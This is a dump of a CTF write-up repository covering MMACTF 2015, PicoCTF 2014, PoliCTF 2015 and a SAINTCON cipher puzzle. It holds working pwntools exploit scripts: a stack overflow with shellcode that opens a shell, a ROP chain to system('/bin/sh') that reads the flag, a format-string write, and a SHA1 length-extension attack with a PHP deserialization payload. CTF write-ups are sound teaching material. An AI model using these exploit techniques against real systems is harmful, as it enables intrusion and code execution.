40 | now = int(floor(time.time())) 41 | libc.srand(now) 42 | 43 | random_num = libc.rand() 44 | ``` 45 | 46 | From here, we replicate the same function that creates the stocks from the binary in Python: 47 | 48 | ```python 49 | def set_stocks(): 50 | '''Create stocks based on current srand''' 51 | for index in xrange(1, 4): 52 | stocks[index].append(10000) 53 | 54 | for _ in xrange(54): 55 | for index in xrange(1, 4): 56 | curr_stock = stocks[index][-1] 57 | 58 | # Use of libc's rand in Python 59 | curr_stock += libc.rand() % 2001 - 1000 60 | if curr_stock <= 4999: 61 | curr_stock = 5000 62 | if curr_stock > 15000: 63 | curr_stock = 15000 64 | 65 | stocks[index].append(curr_stock) 66 | ``` 67 | 68 | Now that we have our three stock listings, we have to determine the optimal buy/sell path to success. 69 | 70 | The quick and dirty method I used is described below: 71 | * Calculate the peaks and valleys of each stock listings 72 | * Calculate the largest profit margins for each stock using the peaks and valleys 73 | * Sort all profit margins together 74 | * Attempt to fill the 54 weeks based on the profit margins 75 | 76 | An example of the last step of this simple algorithm is below: 77 | 78 | The top three profit margins: 79 | ``` 80 | [4, 6, 100, '1'] Stock 1 from week 4 to 6 yields 100 81 | [7, 9, 80, '3'] Stock 3 from week 7 to 9 yields 80 82 | [1, 5, 50, '2'] Stock 2 from week 1 to 5 yields 100 83 | ``` 84 | 85 | Starting with the most profitable, fill in our available actions: 86 | ``` 87 | [4, 6, 100, '1'] Stock 1 from week 4 to 6 yields 100 88 | Actions: ['', '', '', '', 'Buy stock1', 'Rest', 'Sell stock1', '', '', ''] 89 | ``` 90 | 91 | Second most profitable: 92 | ``` 93 | [7, 9, 80, '3'] Stock 3 from week 7 to 9 yields 80 94 | Actions: ['', '', '', '', 'Buy stock1', 'Rest', 'Sell stock1', 'Buy stock3', 'Rest', 'Sell stock3'] 95 | ``` 96 | 97 | Our third most profitable overlaps and existing range i.e. the [4, 6, 100, '1']. In this case, fill as much as we can before the start of the existing range. 98 | Note: This is not optimal. Bigger improvements can be made, but are not necessary. 99 | ``` 100 | [1, 5, 50, '2'] 101 | # Note: 1 - 5 overlaps into existing 4 - 6, Try to go as far as we can before selling. 102 | Actions: ['', 'Buy stock2', 'Rest', 'Sell stock2', 'Buy stock1', 'Rest', 'Sell stock1', 'Buy stock3', 'Rest', 'Sell stock3'] 103 | ``` 104 | 105 | Now that we have our optimal actions, we simulate these actions in order to determine if the actions result in a bank of $100k. We don't want to waste time with the server, if we know ahead of time that we can lose. 106 | 107 | Once we determine that we can win, we simply throw our results at the server and retrieve the first flag. 108 | 109 | ## Flag 2 110 | 111 | There is a string format vulnerability in the name field of the high score after winning the game. After winning the game, the binary grabs the filename of the flag `flag1`, reads the contents of the file, and returns the contents to the user. We are given that the second flag is named `flag2`, so we can use the string format to simply change the filename from `flag1` to `flag2`. 112 | 113 | ``` 114 | # Located at offset 7 on the stack 115 | # 0x804a2b4 = 'flag1' 116 | # 0x804a2b8 = '1' 117 | # '2' == 50 118 | # Padding necessary -> 50 - 4 bytes of address = 46 119 | shellcode = p32(0x804a2b8) + '%46c%7$hhn' 120 | ``` 121 | -------------------------------------------------------------------------------- /mmactf-2015/moneygame/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/mmactf-2015/moneygame/libc-2.19.so -------------------------------------------------------------------------------- /mmactf-2015/moneygame/moneygame: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/mmactf-2015/moneygame/moneygame -------------------------------------------------------------------------------- /mmactf-2015/moneygame/moneygame-patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/mmactf-2015/moneygame/moneygame-patched -------------------------------------------------------------------------------- /mmactf-2015/moneygame/patch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import sys 3 | from pwn import * 4 | 5 | elf = ELF('moneygame') 6 | # NOP out annoying print that clears screen 7 | elf.asm(0x80487b3, 'nop') 8 | elf.asm(0x80487b4, 'nop') 9 | elf.asm(0x80487b5, 'nop') 10 | elf.asm(0x80487b6, 'nop') 11 | elf.asm(0x80487b7, 'nop') 12 | 13 | elf.save('moneygame-patched') 14 | -------------------------------------------------------------------------------- /mmactf-2015/moneygame/srand.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/mmactf-2015/moneygame/srand.png -------------------------------------------------------------------------------- /mmactf-2015/rps/rps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/mmactf-2015/rps/rps -------------------------------------------------------------------------------- /mmactf-2015/rps/test.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | my_moves = {'P': 'S', 'R': 'P', 'S': 'R'} 4 | 5 | # their_moves = [] 6 | their_moves = ['P', 'P', 'R', 'P', 'S', 'P', 'P', 'R', 'R', 'P', 'S', 'P', 'S', 'P', 'S', 'P', 'R', 'R', 'P', 'P', 'S', 'S', 'R', 'R', 'S', 'S', 'S', 'P', 'P', 'P', 'S' , 'R', 'R', 'R', 'S', 'R', 'P', 'P', 'P', 'P', 'R', 'R', 'R', 'S', 'S', 'P', 'S', 'S', 'S', 'R'] 7 | 8 | 9 | while len(their_moves) < 51: 10 | r = process('./rps') 11 | 12 | # srand will get '0' 13 | shellcode = cyclic(48) + '\x00' * 4 14 | 15 | r.sendline(shellcode) 16 | next_moves = their_moves[:] 17 | 18 | log.info('Their moves: {}'.format(their_moves)) 19 | 20 | r.clean() 21 | 22 | # Just try a random at the end 23 | their_moves.append('R') 24 | 25 | # import pdb; pdb.set_trace() 26 | log.info("Len of their: {}".format(len(their_moves))) 27 | for their_move in their_moves: 28 | # game = r.recvuntil(']') 29 | # log.info('n' + game) 30 | 31 | my_move = my_moves[their_move] 32 | log.info("Trying {}".format(my_move)) 33 | r.sendline(my_move) 34 | 35 | game = r.recvuntil('\n') 36 | log.info('Game: {}'.format(game)) 37 | their_move = game.split('-')[1][0] 38 | log.info('Their move: {}'.format(their_move)) 39 | # r.recvuntil('\n') 40 | # log.info('Status: {}'.format(r.recv())) 41 | # sleep(0.1) 42 | r.clean() 43 | 44 | 45 | log.info("Appending {}".format(their_move)) 46 | next_moves.append(their_move) 47 | 48 | log.info("their-moves".format(their_moves)) 49 | their_moves = next_moves[:] 50 | r.close() 51 | 52 | print their_moves 53 | -------------------------------------------------------------------------------- /mmactf-2015/rps/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | my_moves = {'P': 'S', 'R': 'P', 'S': 'R'} 4 | 5 | # their_moves = [] 6 | their_moves = ['P', 'P', 'R', 'P', 'S', 'P', 'P', 'R', 'R', 'P', 'S', 'P', 'S', 'P', 'S', 'P', 'R', 'R', 'P', 'P', 'S', 'S', 'R', 'R', 'S', 'S', 'S', 'P', 'P', 'P', 'S' , 'R', 'R', 'R', 'S', 'R', 'P', 'P', 'P', 'P', 'R', 'R', 'R', 'S', 'S', 'P', 'S', 'S', 'S', 'R'] 7 | 8 | 9 | # r = process('./rps') 10 | r = remote('milkyway.chal.mmactf.link', 1641) 11 | 12 | # srand will get '0' 13 | shellcode = cyclic(48) + '\x00' * 4 14 | 15 | r.sendline(shellcode) 16 | next_moves = their_moves[:] 17 | 18 | log.info('Their moves: {}'.format(their_moves)) 19 | 20 | # r.clean(2) 21 | 22 | # Just try a random at the end 23 | # their_moves.append('R') 24 | 25 | # import pdb; pdb.set_trace() 26 | log.info("Len of their: {}".format(len(their_moves))) 27 | for their_move in their_moves: 28 | # game = r.recvuntil(']') 29 | # log.info('n' + game) 30 | 31 | my_move = my_moves[their_move] 32 | # log.info("Trying {}".format(my_move)) 33 | r.sendline(my_move) 34 | 35 | # jgame = r.recvuntil('\n') 36 | # jlog.info('Game: {}'.format(game)) 37 | # jtheir_move = game.split('-')[1][0] 38 | # jlog.info('Their move: {}'.format(their_move)) 39 | # r.recvuntil('\n') 40 | # log.info('Status: {}'.format(r.recv())) 41 | # sleep(0.1) 42 | # jr.clean(2) 43 | 44 | r.interactive() 45 | 46 | -------------------------------------------------------------------------------- /pico-ctf-2014/hlextend.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/pico-ctf-2014/hlextend.pyc -------------------------------------------------------------------------------- /pico-ctf-2014/phpscript.php: -------------------------------------------------------------------------------- 1 | 18 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/pico-ctf-2014/steves_list_backup.zip -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/Steve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/pico-ctf-2014/steves_list_backup/Steve.png -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/cookies.php: -------------------------------------------------------------------------------- 1 | true); 19 | setcookie('custom_settings', urlencode(serialize(true)), time() + 86400 * 30, "/"); 20 | setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)), time() + 86400 * 30, "/"); 21 | } 22 | ?> 23 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/includes/classes.php: -------------------------------------------------------------------------------- 1 | pattern = $pattern; 7 | $this->repl = $repl; 8 | } 9 | function filter($data) { 10 | return preg_replace($this->pattern, $this->repl, $data); 11 | } 12 | }; 13 | 14 | class Post { 15 | protected $title; 16 | protected $text; 17 | protected $filters; 18 | function __construct($title, $text, $filters) { 19 | $this->title = $title; 20 | $this->text = $text; 21 | $this->filters = $filters; 22 | } 23 | 24 | function get_title() { 25 | return htmlspecialchars($this->title); 26 | } 27 | 28 | function display_post() { 29 | $text = htmlspecialchars($this->text); 30 | foreach ($this->filters as $filter) 31 | $text = $filter->filter($text); 32 | return $text; 33 | } 34 | 35 | function __destruct() { 36 | // debugging stuff 37 | $s = ""; 43 | echo $s; 44 | } 45 | }; 46 | 47 | $standard_filter_set = [new Filter("/\[i\](.*)\[\/i\]/i", "\\1"), 48 | new Filter("/\[b\](.*)\[\/b\]/i", "\\1"), 49 | new Filter("/\[img\](.*)\[\/img\]/i", ""), 50 | new Filter("/\[br\]/i", "
")]; 51 | ?> 52 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/index.php: -------------------------------------------------------------------------------- 1 | 19 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/posts/steve.txt: -------------------------------------------------------------------------------- 1 | O:4:"Post":3:{s:8:"*title";s:23:"I'm Section Chief Steve";s:7:"*text";s:57:"I'm the best.[br]The very best.[br][img]./Steve.png[/img]";s:10:"*filters";a:4:{i:0;O:6:"Filter":2:{s:10:"*pattern";s:19:"/\[i\](.*)\[\/i\]/i";s:7:"*repl";s:9:"\1";}i:1;O:6:"Filter":2:{s:10:"*pattern";s:19:"/\[b\](.*)\[\/b\]/i";s:7:"*repl";s:9:"\1";}i:2;O:6:"Filter":2:{s:10:"*pattern";s:23:"/\[img\](.*)\[\/img\]/i";s:7:"*repl";s:14:"";}i:3;O:6:"Filter":2:{s:10:"*pattern";s:9:"/\[br\]/i";s:7:"*repl";s:4:"
";}}} -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/root_data.php: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/templates/footer.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/templates/header.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | <?php echo $title; ?> 4 | 5 | 6 | 7 | 8 |
9 |
10 |

11 |

12 | 13 |

14 |
15 | -------------------------------------------------------------------------------- /pico-ctf-2014/steves_list_backup/templates/view_posts.php: -------------------------------------------------------------------------------- 1 | display_post(); 7 | ?> 8 |
9 |
10 |
11 |

12 | get_title(); echo "\n"; ?> 13 |

14 |
15 |
16 | 17 |
18 |
19 |
20 | 24 | 25 | -------------------------------------------------------------------------------- /pico-ctf-2014/win.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import urllib 3 | import commands 4 | import sys 5 | import hlextend 6 | import urllib2 7 | import cookielib 8 | import requests 9 | import subprocess 10 | 11 | def php_urlencode(s): 12 | '''Return php urlencoded string''' 13 | s = s.replace("\x00", "\0") 14 | encode_php = "".format(s) 15 | 16 | with open('encode_me.php', 'w') as f: 17 | f.write(encode_php) 18 | 19 | output = subprocess.check_output('php encode_me.php', shell=True) 20 | return output 21 | 22 | url = 'http://steveslist.picoctf.com' 23 | flag_file = '/home/daedalus/flag.txt' 24 | php_script = """ 25 | 42 | """.format(flag_file) 43 | 44 | with open('phpscript.php', 'w') as f: 45 | f.write(php_script) 46 | 47 | php_output = subprocess.check_output('php phpscript.php', shell=True, stderr=subprocess.STDOUT) 48 | php_output = php_output.split('<')[0].split('\n')[1] 49 | 50 | original_hash = '2141b332222df459fd212440824a35e63d37ef69' 51 | original_data = 'b:1;' 52 | # '\x0a' is our new line delimiter 53 | appended_data = '\x0a' + php_output 54 | key_length = 8 55 | 56 | sha = hlextend.new('sha1') 57 | cookie = sha.extend(appended_data, original_data, key_length, original_hash) 58 | cookie_hash = sha.hexdigest() 59 | 60 | output = php_urlencode(cookie) 61 | cookies = {'custom_settings_hash': cookie_hash, 62 | 'custom_settings': output} 63 | results = requests.get(url, cookies=cookies).text 64 | print [line for line in results.split('\n') if 'yay_flag' in line] 65 | -------------------------------------------------------------------------------- /polictf-2015/johns-library/README.md: -------------------------------------------------------------------------------- 1 | # John's Library 2 | Do you like reading books? here we have the best collection ever! you can even save some books for future reading!! enjoy noob! 3 | 4 | ## Recon 5 | We are presented with the following menu upon connection: 6 | ``` 7 | Welcome to the jungle library mate! Try to escape!! 8 | 9 | r - read from library 10 | a - add element 11 | u - exit 12 | ``` 13 | 14 | There is two bits of functionality that we have access to 15 | 16 | ### Add book to library 17 | ``` 18 | r - read from library 19 | a - add element 20 | u - exit 21 | a 22 | Hey mate! Insert how long is the book title: 23 | 8 24 | deadbeef 25 | ``` 26 | With adding a book, we input two values: 27 | * Length of the text 28 | * The text itself 29 | 30 | The interesting bit is that the length of each book is stored in a global array located at `0x804a060`. The text is stored in a buffer located on the stack. This address is passed to both the read and add functions as an argument. 31 | 32 | ### Reading from the library 33 | ``` 34 | r - read from library 35 | a - add element 36 | u - exit 37 | r 38 | Insert the index of the book you want to read: 0 39 | deadbeef 40 | ``` 41 | 42 | This function takes the index of a book and reads the information stored at that index. This calculation is done by reading the corresponding stored length from `0x804a060 + index` 43 | and adding that length to the beginning of the buffer passed to the function (which is also on the stack). 44 | 45 | ### Vulnerabilities 46 | There are two bugs in the code. 47 | * The data stored in the buffer is read via a `gets()` call, causing a traditional stack overflow. This is exploited upon exiting the program. 48 | * The length of the book isn't checked for being negative. This allows us to arbitrarily read valvues on the stack. It just so happens that the start of the buffer is pushed on the stack as a parameter to both read and add functions. An example stack is below (addresses are not accurate) 49 | 50 | ``` 51 | +-------------------+ 52 | | Pointer to buffer | 0x400000 53 | +-------------------+ 54 | | ..... | 55 | +-------------------+ 56 | | Buf | 0x40001b 57 | | | 58 | | | 59 | +-------------------+ 60 | ``` 61 | 62 | 63 | ### Exploit 64 | The stack is randomized on the remote server. We can't hard code the stack address, as we won't know what it is at execution. We have to leak this address. 65 | 66 | By supplying a `-0x1b` length for the first book and then reading that book's index, we can actually read the beginning of the buffer, giving us a static address to jump to for our shellcode. 67 | 68 | 69 | Exploit will work as follows: 70 | * Create a book with `-28` length (data for the book is irrevelent) 71 | * Read that book via index 0 and retrieve the 4 bytes of the stack 72 | * Add a second book, but this time overflow via `gets()` with our shellcode at the beginning of the buffer and returning to our leaked stack address. 73 | * Exit the program via `u` 74 | * ??? 75 | * Profit 76 | 77 | ### Exploit code 78 | 79 | ```python 80 | from pwn import * 81 | 82 | """ 83 | Both functions are given a pointer to a stack address (named BUFF) 84 | Add function (overflow): 85 | Drops the given length into a global buffer starting at 0x804a060 86 | There is no negative check, so feeding a negative value passes the check 87 | Vulnerable gets() function drops input into BUFF 88 | 89 | Read (mem leak): 90 | Takes the previously given length from add and adds that offset in BUFF 91 | Because we can use negative values, we can looks backwards on the stack 92 | to discover the beginning address of BUFF 93 | 94 | Exit (trigger): 95 | The overflow from the add isn't exploited until exiting the program 96 | """ 97 | 98 | 99 | # r = process('./johns-library') 100 | r = remote('library.polictf.it', 80) 101 | 102 | # Debugging help with gdb 103 | ''' 104 | gdb.attach(r, """ 105 | bp 0x8048640 106 | bp 0x8048742 107 | c 108 | """) 109 | ''' 110 | 111 | log.info("Setting up leak of buffer") 112 | r.sendline('a') 113 | r.sendline(str(-28)) # Set len to subtract to find original buffer location 114 | r.sendline() 115 | 116 | log.info("Leaking buffer") 117 | r.sendline('r') 118 | r.sendline('1') 119 | r.recv() 120 | r.recv() 121 | r.recvuntil('read: ') 122 | 123 | ret = r.recv()[:4] 124 | 125 | log.info('Got buffer: {}'.format(ret[::-1].encode('hex'))) 126 | 127 | log.info("Preparing shellcode") 128 | shellcode = '\x90' * 900 + asm(shellcraft.sh()) 129 | 130 | payload = shellcode 131 | payload += cyclic(cyclic_find('aaks') - len(shellcode)) 132 | payload += ret 133 | payload += 'a' * (1000 - len(payload)) 134 | 135 | log.info("Sending shellcode") 136 | r.sendline('a') 137 | r.sendline(payload) 138 | 139 | log.info("Exiting problem, causing the exploit") 140 | r.sendline('u') 141 | 142 | log.success("And your shell...") 143 | r.interactive() 144 | ``` 145 | -------------------------------------------------------------------------------- /polictf-2015/johns-library/johns-library: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/polictf-2015/johns-library/johns-library -------------------------------------------------------------------------------- /polictf-2015/johns-library/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | """ 4 | Both functions are given a pointer to a stack address (named BUFF) 5 | Add function (overflow): 6 | Drops the given length into a global buffer starting at 0x804a060 7 | There is no negative check, so feeding a negative value passes the check 8 | Vulnerable gets() function drops input into BUFF 9 | 10 | Read (mem leak): 11 | Takes the previously given length from add and adds that offset in BUFF 12 | Because we can use negative values, we can looks backwards on the stack 13 | to discover the beginning address of BUFF 14 | 15 | Exit (trigger): 16 | The overflow from the add isn't exploited until exiting the program 17 | """ 18 | 19 | 20 | r = process('./johns-library') 21 | # r = remote('library.polictf.it', 80) 22 | 23 | # Debugging help with gdb 24 | ''' 25 | gdb.attach(r, """ 26 | bp 0x8048640 27 | bp 0x8048742 28 | c 29 | """) 30 | ''' 31 | 32 | log.info("Setting up leak of buffer") 33 | r.sendline('a') 34 | r.sendline(str(-28)) # Set len to subtract to find original buffer location 35 | r.sendline() 36 | 37 | log.info("Leaking buffer") 38 | r.sendline('r') 39 | r.sendline('1') 40 | # r.recv() 41 | # r.recv() 42 | r.recvuntil('read: ') 43 | 44 | ret = r.recv()[:4] 45 | 46 | log.info('Got buffer: {}'.format(ret[::-1].encode('hex'))) 47 | 48 | log.info("Preparing shellcode") 49 | shellcode = '\x90' * 900 + asm(shellcraft.sh()) 50 | 51 | payload = shellcode 52 | payload += cyclic(cyclic_find('aaks') - len(shellcode)) 53 | payload += ret 54 | payload += 'a' * (1000 - len(payload)) 55 | 56 | log.info("Sending shellcode") 57 | r.sendline('a') 58 | r.sendline(payload) 59 | 60 | log.info("Exiting problem, causing the exploit") 61 | r.sendline('u') 62 | 63 | log.success("And your shell...") 64 | r.interactive() 65 | -------------------------------------------------------------------------------- /polictf-2015/johns-shuffle/.gdb_history: -------------------------------------------------------------------------------- 1 | q 2 | q 3 | exit 4 | q 5 | -------------------------------------------------------------------------------- /polictf-2015/johns-shuffle/README.md: -------------------------------------------------------------------------------- 1 | # John's Shuffle 2 | John is completely drunk and unable to protect his poor stack.. Fortunately he can still count on his terrific shuffling skills. 3 | 4 | ``` 5 | >>> from pwn import * 6 | >>> elf = ELF('johns-shuffle') 7 | Arch: i386-32-little 8 | RELRO: Partial RELRO 9 | Stack Canary: No canary found 10 | NX: NX enabled 11 | PIE: No PIE 12 | ``` 13 | 14 | ## Recon 15 | The first shot at overflowing by throwing a ton of `A`'s worked. I don't actually know what the vulnerbility was, as I didn't open the binary in IDA. 16 | 17 | Once we have control of EIP, and the fact that NX is on, we have to start ROP'ing. Using `pwntools`, we immediately see that we have `system` in our binary, but not the string `/bin/sh`. In order to ROP into `system` we have to have a pointer to the string `/bin/sh`. No worries though, because we also have `read` in our binary. 18 | 19 | ## Exploit 20 | * Overflow the stack to control EIP. 21 | * ROP into the following chain: 22 | * `read` to add `/bin/sh` into the .bss segment 23 | * `system` into the .bss segment where we read our `/bin/sh` string 24 | * ??? 25 | * Profit 26 | 27 | The binary itself randomizes the GOT each connection, so the exploit can take a while to actually land while waiting for our `system` and `read` addresses to line up properly. Give it a bit, and the exploit lands perfectly. 28 | 29 | ### Exploit code 30 | ```python 31 | from pwn import * 32 | 33 | elf = ELF('johns-shuffle') 34 | rop = ROP(elf) 35 | 36 | add_esp_8 = rop.pivots[8] 37 | system = elf.symbols['system'] 38 | 39 | # Found system in ELF 40 | log.info("System: {}".format(hex(system))) 41 | 42 | # ROP shellcode 43 | # read '/bin/sh' into a known location 44 | # call /bin/sh from known location via system 45 | rop.read(0, elf.bss(), 8) 46 | rop.system(elf.bss()) 47 | 48 | # Set up our payload 49 | payload = 'b' * 166 50 | payload += str(rop) 51 | payload += cyclic(1000) 52 | 53 | print rop.dump() 54 | 55 | log.info("You can walk away.. this might take while..") 56 | log.info("Waiting on the randomization to work") 57 | while True: 58 | try: 59 | # r = process('./johns-shuffle') 60 | with remote('shuffle.polictf.it', 80) as r: 61 | 62 | # Debug code 63 | ''' 64 | gdb.attach(r, """ 65 | bp {} 66 | c 67 | """.format(hex(elf.symbols['read']))) 68 | ''' 69 | 70 | # PWN 71 | r.sendline(payload) 72 | 73 | # Sleep enough to wait for the read() call to hit 74 | sleep(0.2) 75 | 76 | # Write /bin/sh in the .bss segment to use with our system() ROP 77 | r.sendline('/bin/sh\x00') 78 | 79 | # Command to send to our new shell 80 | r.sendline('cat /home/ctf/flag') 81 | 82 | # Be sure to retrieve the flag from the socket 83 | for _ in xrange(4): 84 | output = r.recv() 85 | if 'flag' in output.lower(): 86 | log.info('FLAG: {}'.format(output)) 87 | raw_input() 88 | except: 89 | pass 90 | ``` 91 | -------------------------------------------------------------------------------- /polictf-2015/johns-shuffle/johns-shuffle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/polictf-2015/johns-shuffle/johns-shuffle -------------------------------------------------------------------------------- /polictf-2015/johns-shuffle/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | elf = ELF('johns-shuffle') 4 | rop = ROP(elf) 5 | 6 | add_esp_8 = rop.pivots[8] 7 | system = elf.symbols['system'] 8 | 9 | # Found system in ELF 10 | log.info("System: {}".format(hex(system))) 11 | 12 | # ROP shellcode 13 | # read '/bin/sh' into a known location 14 | # call /bin/sh from known location via system 15 | rop.read(0, elf.bss(), 8) 16 | rop.system(elf.bss()) 17 | 18 | # Set up our payload 19 | payload = 'b' * 166 20 | payload += str(rop) 21 | payload += cyclic(1000) 22 | 23 | print rop.dump() 24 | 25 | log.info("You can walk away.. this might take while..") 26 | log.info("Waiting on the randomization to work") 27 | while True: 28 | try: 29 | # r = process('./johns-shuffle') 30 | # with remote('shuffle.polictf.it', 80) as r: 31 | with process('./johns-shuffle') as r: 32 | 33 | # Debug code 34 | gdb.attach(r, """ 35 | bp {} 36 | c 37 | """.format(hex(elf.symbols['read']))) 38 | 39 | # PWN 40 | r.sendline(payload) 41 | 42 | # Sleep enough to wait for the read() call to hit 43 | sleep(0.2) 44 | 45 | # Write /bin/sh in the .bss segment to use with our system() ROP 46 | r.sendline('/bin/sh\x00') 47 | 48 | # Command to send to our new shell 49 | r.sendline('cat /home/ctf/flag') 50 | 51 | # Be sure to retrieve the flag from the socket 52 | for _ in xrange(4): 53 | output = r.recv() 54 | if 'flag' in output.lower(): 55 | log.info('FLAG: {}'.format(output)) 56 | raw_input() 57 | except: 58 | pass 59 | -------------------------------------------------------------------------------- /saintcon-pre-4/README.md: -------------------------------------------------------------------------------- 1 | # SAINTCON 2015 PRE-4 2 | 3 | ``` 4 | -- CIPHERTEXT -- 5 | AEBRVHWWMQHURVWFFIKVYFUCDG 6 | To Decrypt this Message, you will need to learn how a US President encrypted messages while in Paris France. 7 | 8 | The PSK sequence you need to know is: 9 | 5,24,4,20,23,2,11,22,19,15,10,18,16,1,14,3,25,9,6,12,26,7,13,17,21,8 10 | ``` 11 | 12 | ## Solve 13 | 14 | Began with the obvious of throwing the ciphertext into [quipquip](http://www.quipquip.com) for easy pickings, no dice. Actually opened up the pdf to see a 2x2 grid of letters and then a circle at the bottom the size of a paper towel roll. 15 | 16 | ![2x2 grid](tumblers.png) 17 | 18 | This immediately sparked the memory of the Da Vinci Code cryptex. 19 | 20 | ![Cryptex](cryptex.jpg) 21 | 22 | I began doing some awkward transformations of shifting each letter in the cipher text a number in the PSK: 23 | 24 | ``` 25 | A >> 5 26 | E >> 24 27 | B >> 4 28 | R >> 20 29 | ... ect 30 | ``` 31 | 32 | Realizing this was a terrible idea, went back to the PDF to realize that there are numbers at the top of the 2x2 grid. It then became obvious that the PSK given is the order of the tumblers needed to solve the ciphertext. 33 | 34 | The solution script does the following: 35 | * Extracts each individual tumbler 36 | * Arranges the tumblers in order based on the PSK 37 | * Rotates each tumbler to match the ciphertext 38 | * Prints every resulting line 39 | 40 | Upon execution, we are given the following result: 41 | 42 | ``` 43 | AEBRVHWWMQHURVWFFIKVYFUCDG 44 | XCDSNUMEXWPMMLNGHMNXOYGVET 45 | KXVDCRBLWOURKYSBVPDJAMFBUW 46 | MJZZIICYVMDNHTYMZXUDIIZFHK 47 | BQNMFJJJSUJFYFPQKYOYTNWJKB 48 | SBFTPZVDUHWLGUJYQEQWEWIONA 49 | PFXQTQPXBCFQEWLSTSYOQSSRVL 50 | HTTPHCSAINTCONORGJEFFERSON <--- Looks like a web page 51 | IVKHZKAUGJNIIMFPMTRBDHTIPV 52 | TMQUXWZOEDGBXCGUWQPEBBMNAD 53 | OYUWSYENFLIJNJKTCBZAPJAZRE 54 | GAEXRPRKHKMHQDXDRAJTSOXXQX 55 | WKPKOXDCDVVPDKCOPDLRCPPYSP 56 | RLHGWVLFAIEVJZILSZWPXVHMXI 57 | FHSVQMKQKYOWVPQAJOTCVQDPBS 58 | LZYOAEOVNRQYBBDZDRXNRKBAFM 59 | UDLAKSURJPADLSBXLUBQLZCUYF 60 | YUICLLGSPFKGTGUNBGSUJAVQGO 61 | NPMIGTYTOTBKFETKYVILUUEWMQ 62 | EIOEUNNMZGZZWRMVAKCINDYLCH 63 | DGAJJDTHLSXSAXVJOFFZMTKHIY 64 | JOGLEGQIRAYOCAECNHHSZGODJJ 65 | ZNWFBBFPCXCTSQZHECVGKCQTLZ 66 | VSRBMAHGQZSAZIHEILAHWRJGWC 67 | CWJYDOIZYBLEPHAWUNMMHXLETR 68 | QRCNYFXBTERXUORIXWGKGLNKZU 69 | ``` 70 | 71 | Checking out the website: 72 | 73 | ``` 74 | PROVE YOU SOLVED IT! 75 | DM TWEET @SAINTCON: The Ciphertext three positions below the Plaintext 76 | If you hate Twitter, an email to tj@saintcon.org will work too. 77 | 78 | SOLVED BY: NOBODY YET 79 | ``` 80 | 81 | I don't think I was the first, but it was a great challenge nonetheless! Thanks to @saintcon for the pre-challenge and looking forward to more puzzles in the future. 82 | 83 | ## Final solution 84 | ```python 85 | 86 | from collections import deque 87 | 88 | ciphertext = 'AEBRVHWWMQHURVWFFIKVYFUCDG' 89 | cipher = ''' 90 | R C X G O R U Q P T U V X L Z N Q S P V P I T M K E 91 | X K N W G P D H X N G X P O B Q W O O O A P H Y Q Q 92 | A W K R W Z T Y Y G Y J H F E D L T Z A R G Z A T F 93 | Q Y V J R J G J E I N D D G Q J H A L C Q Z X K G D 94 | I P J C F L C Z S M T Y B K W V D E R I S B S L M B 95 | H X C B L W R C J V Q W C X O B T X C E X W R H W P 96 | O V H D U T X R T E F O V C M L G U Q J B E O Z C S 97 | V M E V Y X L U Q O H F E I U T E M Y L F L W D R C 98 | L E W Z N B F G B Q I B Y Q H F K R T F Y Y Q U P X 99 | Y S I N E S Y T A A X E K D C W C N M B G J A P S V 100 | T L F F D I M W D K W A O B N A V F X Y M D K I J R 101 | F T G X J C I K Z B M T Q U J C B L W N C X L G D L 102 | U N B T Z F N B O Z B R J T D S F Q V R I A G O L J 103 | W D M K V H W A R X C P L M L Z J C S S J U U N B U 104 | N G Q Q C V S L U Y J C N V K P O I U D L O J S Y N 105 | M B Y U Q A E N G C V N U E V U R B B Z W N E W A M 106 | C A S E A M H V V S P Q G Z I R S J I M T K B R O Z 107 | J O R P X G B D K L S U F H Y M I H G T Z C M E N K 108 | D F P H K K J E F R A L Z A R K N P E Q D F D C E W 109 | K H U S M N O X H H Z I W R P H Z V F P E Q Y X I H 110 | Z U T Y B D P P C P E Z I W F Y X W H H U V V J U G 111 | P R D L S U V I L U R S S N T G Y Y D U H R N Q X Y 112 | B I O I P O Q S N D D G R S G E M 